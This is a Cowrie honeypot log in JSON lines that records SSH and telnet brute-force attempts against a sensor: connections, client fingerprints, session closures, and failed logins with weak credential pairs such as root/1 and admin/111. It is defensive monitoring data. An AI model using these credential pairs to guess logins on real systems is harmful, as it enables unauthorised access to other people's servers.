{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:14.764056Z","src_ip":"176.65.132.129","session":"ba556f494d1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:14.847049Z","src_ip":"176.65.132.129","session":"ba556f494d1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:15.097756Z","src_ip":"176.65.132.129","session":"ba556f494d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:16.182713Z","src_ip":"176.65.132.129","session":"ba556f494d1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41840,"dst_ip":"10.17.0.5","dst_port":22,"session":"75e38deb5272","protocol":"ssh","message":"New connection: 176.65.132.129:41840 (10.17.0.5:22) [session: 75e38deb5272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:18.241185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:18.245995Z","src_ip":"176.65.132.129","session":"75e38deb5272","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:18.427520Z","src_ip":"176.65.132.129","session":"75e38deb5272","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:18.721281Z","src_ip":"176.65.132.129","session":"75e38deb5272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:19.806714Z","src_ip":"176.65.132.129","session":"75e38deb5272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.113478899002075,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:20.177188Z","src_ip":"38.60.198.128","session":"dee69969948b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41848,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2819775ff39","protocol":"ssh","message":"New connection: 176.65.132.129:41848 (10.17.0.5:22) [session: f2819775ff39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:21.661013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:21.665078Z","src_ip":"176.65.132.129","session":"f2819775ff39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":54498,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bb3f43f2cfa","protocol":"ssh","message":"New connection: 95.215.8.165:54498 (10.17.0.5:22) [session: 3bb3f43f2cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:21.714095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:21.718580Z","src_ip":"95.215.8.165","session":"3bb3f43f2cfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:21.748752Z","src_ip":"176.65.132.129","session":"f2819775ff39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:21.808938Z","src_ip":"95.215.8.165","session":"3bb3f43f2cfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:21.999078Z","src_ip":"176.65.132.129","session":"f2819775ff39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devopsuser","password":"devopsuser","message":"login attempt [devopsuser/devopsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:22.228606Z","src_ip":"95.215.8.165","session":"3bb3f43f2cfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:23.204991Z","src_ip":"176.65.132.129","session":"f2819775ff39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:23.325665Z","src_ip":"95.215.8.165","session":"3bb3f43f2cfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41864,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dd22cbe2d4a","protocol":"ssh","message":"New connection: 176.65.132.129:41864 (10.17.0.5:22) [session: 3dd22cbe2d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:25.011600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:25.017406Z","src_ip":"176.65.132.129","session":"3dd22cbe2d4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:25.100098Z","src_ip":"176.65.132.129","session":"3dd22cbe2d4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:25.345663Z","src_ip":"176.65.132.129","session":"3dd22cbe2d4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54530,"dst_ip":"159.203.135.109","dst_port":23,"session":"091d269b7f58","protocol":"telnet","message":"New connection: 38.60.198.128:54530 (159.203.135.109:23) [session: 091d269b7f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:26.232548Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:26.429187Z","src_ip":"176.65.132.129","session":"3dd22cbe2d4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55822,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f2413a6fcb4","protocol":"ssh","message":"New connection: 176.65.132.129:55822 (10.17.0.5:22) [session: 2f2413a6fcb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:28.471084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:28.485170Z","src_ip":"176.65.132.129","session":"2f2413a6fcb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:28.567765Z","src_ip":"176.65.132.129","session":"2f2413a6fcb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:28.814554Z","src_ip":"176.65.132.129","session":"2f2413a6fcb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:29.911954Z","src_ip":"176.65.132.129","session":"2f2413a6fcb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.21032929420471,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:30.673950Z","src_ip":"38.60.198.128","session":"ad857287ce50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.41450524330139,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:30.859156Z","src_ip":"38.60.198.128","session":"027a80d45527","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55838,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e9f71e6fe25","protocol":"ssh","message":"New connection: 176.65.132.129:55838 (10.17.0.5:22) [session: 3e9f71e6fe25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:31.842168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:31.846639Z","src_ip":"176.65.132.129","session":"3e9f71e6fe25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:31.928489Z","src_ip":"176.65.132.129","session":"3e9f71e6fe25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:32.368913Z","src_ip":"176.65.132.129","session":"3e9f71e6fe25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":43172,"dst_ip":"10.17.0.5","dst_port":22,"session":"91e2a9a9a006","protocol":"ssh","message":"New connection: 198.98.56.227:43172 (10.17.0.5:22) [session: 91e2a9a9a006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:33.171730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:33.180451Z","src_ip":"198.98.56.227","session":"91e2a9a9a006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:33.383805Z","src_ip":"198.98.56.227","session":"91e2a9a9a006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:33.452679Z","src_ip":"176.65.132.129","session":"3e9f71e6fe25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"PassW0rd","message":"login attempt [ubuntu/PassW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:34.009909Z","src_ip":"198.98.56.227","session":"91e2a9a9a006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.78717660903931,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:34.549493Z","src_ip":"38.60.198.128","session":"8bbfbb7d4d70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:35.081778Z","src_ip":"198.98.56.227","session":"91e2a9a9a006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55848,"dst_ip":"10.17.0.5","dst_port":22,"session":"c05baaefa703","protocol":"ssh","message":"New connection: 176.65.132.129:55848 (10.17.0.5:22) [session: c05baaefa703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:35.515834Z"}
